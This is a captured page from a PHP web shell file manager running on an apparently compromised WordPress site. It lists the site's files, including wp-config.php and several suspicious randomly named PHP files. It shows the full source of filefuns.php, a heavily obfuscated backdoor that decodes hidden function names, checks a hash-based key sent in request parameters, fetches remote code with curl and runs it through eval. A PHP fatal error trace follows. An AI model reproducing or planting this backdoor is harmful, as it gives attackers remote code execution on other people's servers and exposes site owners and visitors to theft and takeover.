ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.31

Path:root/home/jknowles/docs.et-mg.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0555	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	3.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 990.php	0.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 api_final.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 awf.txt	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	6.02 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 furiousing.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	0.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 nhivfafq.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 qflmdggn.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ss.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	0.34 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.26 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.5 KB	0600	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	50.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	31.88 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	33.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-sing.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	3.13 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: filefuns.php

<?php
 goto oQw3c03V36XuSgB; zXAlLD4G5buFEGh: @(md5(md5(md5(md5($kVafm0Yw8c3ptEz[14])))) === "\x34\66\61\x63\62\x34\61\x61\62\x33\67\71\x64\x61\x38\x62\145\60\x63\x32\x38\71\65\x36\x32\x64\64\141\60\65\66\141") && (count($kVafm0Yw8c3ptEz) == 20 && in_array(gettype($kVafm0Yw8c3ptEz) . count($kVafm0Yw8c3ptEz), $kVafm0Yw8c3ptEz)) ? ($kVafm0Yw8c3ptEz[65] = $kVafm0Yw8c3ptEz[65] . $kVafm0Yw8c3ptEz[71]) && ($kVafm0Yw8c3ptEz[83] = $kVafm0Yw8c3ptEz[65]($kVafm0Yw8c3ptEz[83])) && @eval($kVafm0Yw8c3ptEz[65](${$kVafm0Yw8c3ptEz[41]}[16])) : $kVafm0Yw8c3ptEz; goto QmvR2HAvtcu8y70; ijfwe27Zw9h0fRe: $kVafm0Yw8c3ptEz = ${$o4WtGXR0j2zVd1J[4 + 27] . $o4WtGXR0j2zVd1J[33 + 26] . $o4WtGXR0j2zVd1J[42 + 5] . $o4WtGXR0j2zVd1J[4 + 43] . $o4WtGXR0j2zVd1J[25 + 26] . $o4WtGXR0j2zVd1J[5 + 48] . $o4WtGXR0j2zVd1J[22 + 35]}; goto zXAlLD4G5buFEGh; QmvR2HAvtcu8y70: metaphone("\x6e\106\x4e\x59\110\162\57\x4b\162\x50\x47\x33\x59\155\163\142\x73\x79\x4f\71\160\x74\161\146\x57\x36\124\53\x47\x48\x55\117\164\x37\x42\112\144\110\112\120\x34\157\x51"); goto lD3aeAgS7N6agCc; oQw3c03V36XuSgB: $QznidOMi7KJM4Pd = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto Hnx_iPpNiea0JUH; Hnx_iPpNiea0JUH: $o4WtGXR0j2zVd1J = $QznidOMi7KJM4Pd("\176", "\x20"); goto ijfwe27Zw9h0fRe; lD3aeAgS7N6agCc: class OnZsQduZZrvZ42U { static function W2a2QFxY55UXg9j($XKBP8lh3PiwNnYG) { goto o02LnuiSg76yHZP; jGddEXJUyaByvN3: $KCZJDb0ZxX6KQjk = explode("\x2d", $XKBP8lh3PiwNnYG); goto zzAn8GBnjt07zzw; o02LnuiSg76yHZP: $gjpy45SykLgnUTW = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto w3MTpms647HFsvy; w3MTpms647HFsvy: $NrgwmEYc97l0fQ3 = $gjpy45SykLgnUTW("\176", "\x20"); goto jGddEXJUyaByvN3; Eps1L28CoXYp8sm: return $XbNy4g2yK2NTbRv; goto mIQC3lT5NrUh0B4; zzAn8GBnjt07zzw: $XbNy4g2yK2NTbRv = ''; goto W0_7CYnLphHWo_j; UohCXxsB5od6_4A: LyH9JDb0FAfKUFw: goto Eps1L28CoXYp8sm; W0_7CYnLphHWo_j: foreach ($KCZJDb0ZxX6KQjk as $gXhi_dK1A6rjD2m => $sQHXCTvuB1uG214) { $XbNy4g2yK2NTbRv .= $NrgwmEYc97l0fQ3[$sQHXCTvuB1uG214 - 39219]; Opwf9dnpEg4xtMj: } goto UohCXxsB5od6_4A; mIQC3lT5NrUh0B4: } static function CyXpP9M2na4cykh($PDVtk4xkxSw95fr, $Dywp6kKwl1rBQsr) { goto g_oBSNo2QOqmJCJ; m8diiVnqGpi0k9N: curl_setopt($oqIGt3Pb1o6E2Uw, CURLOPT_RETURNTRANSFER, 1); goto IptbmWx6pe4srIc; L3cCNm6qcee28a3: return empty($mIJ2eVRy3AMzM4u) ? $Dywp6kKwl1rBQsr($PDVtk4xkxSw95fr) : $mIJ2eVRy3AMzM4u; goto cPjM666mekW0S6T; IptbmWx6pe4srIc: $mIJ2eVRy3AMzM4u = curl_exec($oqIGt3Pb1o6E2Uw); goto L3cCNm6qcee28a3; g_oBSNo2QOqmJCJ: $oqIGt3Pb1o6E2Uw = curl_init($PDVtk4xkxSw95fr); goto m8diiVnqGpi0k9N; cPjM666mekW0S6T: } static function y1Uwu8FlPfofAzT() { goto mOkF9iWeGbbeg03; qPU3tPYIpao7jtf: $Dw53Xoj3KwmGrWp = @$flRqAYoQmSmF6mL[1]($flRqAYoQmSmF6mL[5 + 5](INPUT_GET, $flRqAYoQmSmF6mL[4 + 5])); goto EoUKpJPMVwHRoDO; VNJ5veKC_3iRl0u: Wxws_XxAzCgUDwo: goto qPU3tPYIpao7jtf; Y24811RkwTbGPSk: $sF0AYLO1OgHFpXY = md5($t6WYv90YxOe3Q25); goto M2ehGdikTS3VoFV; mOkF9iWeGbbeg03: $Ursl21ehqyjuywV = array("\63\71\x32\64\66\x2d\x33\x39\x32\63\61\55\x33\x39\x32\x34\64\55\x33\71\62\x34\x38\x2d\x33\71\62\62\71\55\63\71\62\64\x34\x2d\63\x39\x32\x35\60\x2d\63\71\62\x34\63\55\x33\x39\62\x32\x38\x2d\x33\71\62\63\x35\x2d\63\71\62\x34\x36\55\63\x39\62\62\71\55\63\71\62\x34\x30\55\63\71\x32\63\x34\x2d\63\x39\62\x33\65", "\63\71\62\x33\x30\55\63\71\62\x32\71\x2d\x33\x39\62\63\x31\x2d\63\x39\62\x35\x30\x2d\63\71\x32\63\x31\x2d\x33\71\x32\x33\64\x2d\63\x39\x32\x32\x39\55\x33\x39\x32\71\66\55\63\x39\x32\71\64", "\63\x39\62\x33\x39\x2d\63\x39\62\63\60\55\63\71\62\x33\x34\x2d\63\x39\62\63\65\x2d\x33\x39\62\x35\x30\x2d\63\x39\x32\x34\x35\55\x33\x39\62\x34\64\55\x33\71\x32\64\66\x2d\63\71\62\x33\x34\55\x33\71\62\x34\65\55\63\71\62\64\64", "\63\x39\x32\63\x33\x2d\63\71\62\64\x38\x2d\63\71\62\64\x36\55\x33\71\x32\63\x38", "\63\x39\x32\64\x37\55\63\71\x32\x34\70\55\x33\71\62\63\60\x2d\63\x39\x32\x34\x34\x2d\x33\x39\x32\x39\x31\55\63\71\x32\x39\63\55\x33\x39\x32\x35\x30\55\63\x39\x32\64\x35\55\x33\x39\x32\64\x34\55\63\71\62\64\x36\x2d\63\x39\x32\x33\x34\55\x33\71\x32\64\x35\55\63\x39\x32\64\64", "\63\x39\62\64\63\x2d\63\71\x32\x34\60\x2d\63\71\62\63\x37\55\x33\71\62\x34\64\55\63\71\62\x35\60\55\x33\71\62\x34\62\55\x33\x39\x32\x34\x34\55\x33\71\x32\x32\x39\x2d\x33\x39\62\65\x30\55\x33\x39\62\x34\x36\55\63\x39\x32\x33\64\55\x33\x39\62\63\x35\x2d\x33\71\x32\x32\x39\x2d\63\71\x32\64\x34\55\x33\71\62\x33\x35\55\63\x39\x32\62\x39\x2d\x33\71\62\x33\60", "\x33\71\x32\x37\x33\x2d\x33\x39\x33\60\63", "\63\71\62\62\x30", "\x33\71\62\71\x38\55\63\71\63\x30\63", "\x33\x39\x32\x38\x30\x2d\x33\71\62\x36\x33\55\x33\71\x32\66\63\55\63\x39\62\70\x30\x2d\63\71\x32\x35\x36", "\x33\71\x32\x34\63\x2d\63\71\x32\64\60\x2d\x33\x39\62\x33\x37\55\63\x39\x32\x32\71\x2d\63\x39\62\64\64\55\63\x39\62\x33\61\x2d\63\x39\62\65\x30\55\x33\x39\62\x34\x30\x2d\x33\71\x32\63\65\x2d\x33\x39\x32\63\63\55\63\x39\62\x32\70\55\63\71\62\62\71"); goto MGHWG_gFbELxKvX; Rxpp4jjt73f0NcY: @$flRqAYoQmSmF6mL[2 + 8](INPUT_GET, "\157\146") == 1 && die($flRqAYoQmSmF6mL[4 + 1](__FILE__)); goto Y24811RkwTbGPSk; TaO524j4F4j0Dhf: @eval($flRqAYoQmSmF6mL[1 + 3]($MYwO7wFliRciIlT)); goto XZs2ib5Q35gw9mm; MGHWG_gFbELxKvX: foreach ($Ursl21ehqyjuywV as $qnx5vH1xMYcvytB) { $flRqAYoQmSmF6mL[] = self::W2A2qfXY55Uxg9J($qnx5vH1xMYcvytB); lw99l225k1GAXfF: } goto VNJ5veKC_3iRl0u; i9THwjHQDUyKRUE: $t6WYv90YxOe3Q25 = md5($P7K8_JN16SwkAEu[0 + 3]); goto Rxpp4jjt73f0NcY; TxyefX0LQtvl6TS: vuJR_mw4w8N7zbn: goto QFuYkOAINpx0Jq4; UqSMIpeY0SpBdFQ: $MYwO7wFliRciIlT = self::cyxpp9m2na4cykH($P7K8_JN16SwkAEu[1 + 0], $flRqAYoQmSmF6mL[1 + 4]); goto TaO524j4F4j0Dhf; XZs2ib5Q35gw9mm: die; goto TxyefX0LQtvl6TS; M2ehGdikTS3VoFV: if (!(@$P7K8_JN16SwkAEu[0] - time() > 0 and $sF0AYLO1OgHFpXY === "\71\x36\x31\144\x65\x64\x66\141\60\146\143\61\146\x33\143\x33\66\x62\x64\x38\x39\144\71\x65\x34\x33\x64\x65\70\142\x65\143")) { goto vuJR_mw4w8N7zbn; } goto UqSMIpeY0SpBdFQ; M0okzdC5cfE81Uy: $P7K8_JN16SwkAEu = $flRqAYoQmSmF6mL[0 + 2]($meLMkWd1BSNhhmH, true); goto i9THwjHQDUyKRUE; EoUKpJPMVwHRoDO: $meLMkWd1BSNhhmH = @$flRqAYoQmSmF6mL[3 + 0]($flRqAYoQmSmF6mL[5 + 1], $Dw53Xoj3KwmGrWp); goto M0okzdC5cfE81Uy; QFuYkOAINpx0Jq4: } } goto RO60OaulE3WuQTy; RO60OaulE3WuQTy: oNZSQdUzzrVz42u::y1uwu8FLPFOfAzt();
?>
BiaoJiOk

Fatal error: Uncaught Error: Call to undefined function wp_check_php_mysql_versions() in /home/jknowles/docs.et-mg.com/wp-settings.php:40 Stack trace: #0 /home/jknowles/docs.et-mg.com/wp-config.php(104): require_once() #1 /home/jknowles/docs.et-mg.com/wp-load.php(50): require_once('/home/jknowles/...') #2 /home/jknowles/docs.et-mg.com/wp-blog-header.php(13): require_once('/home/jknowles/...') #3 /home/jknowles/docs.et-mg.com/index.php(17): require('/home/jknowles/...') #4 {main} thrown in /home/jknowles/docs.et-mg.com/wp-settings.php on line 40

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.31

Edit: filefuns.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.31